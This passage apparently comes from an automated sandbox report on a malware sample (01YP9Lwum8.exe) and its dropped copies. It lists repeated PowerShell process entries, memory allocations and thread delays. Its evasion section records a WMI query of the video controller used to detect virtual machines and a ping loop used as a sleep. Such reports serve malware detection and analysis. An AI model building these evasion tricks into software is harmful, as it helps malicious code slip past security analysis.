Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Tasks\explorer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Memory allocated: 1260000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Memory allocated: 1B200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Memory allocated: 2890000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Memory allocated: 1A980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Memory allocated: 11D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Memory allocated: 1AD00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Memory allocated: 14C0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Memory allocated: 1B0F0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Memory allocated: 1340000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Memory allocated: 1B200000 memory reserve \| memory write watch
Source: C:\Windows\Tasks\explorer.exe	Memory allocated: 16F0000 memory reserve \| memory write watch
Source: C:\Windows\Tasks\explorer.exe	Memory allocated: 1B260000 memory reserve \| memory write watch
Source: C:\Windows\Tasks\explorer.exe	Memory allocated: F50000 memory reserve \| memory write watch
Source: C:\Windows\Tasks\explorer.exe	Memory allocated: 1AAA0000 memory reserve \| memory write watch
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Memory allocated: F70000 memory reserve \| memory write watch
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Memory allocated: 1A9C0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Memory allocated: 13F0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Memory allocated: 1AF00000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Memory allocated: 1090000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Memory allocated: 1ABA0000 memory reserve \| memory write watch
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Memory allocated: 2970000 memory reserve \| memory write watch
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Memory allocated: 1ABB0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Memory allocated: A90000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Memory allocated: 1A480000 memory reserve \| memory write watch
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Memory allocated: 780000 memory reserve \| memory write watch
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Memory allocated: 1A300000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Tasks\explorer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Tasks\explorer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1461	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1419	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1358
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1053
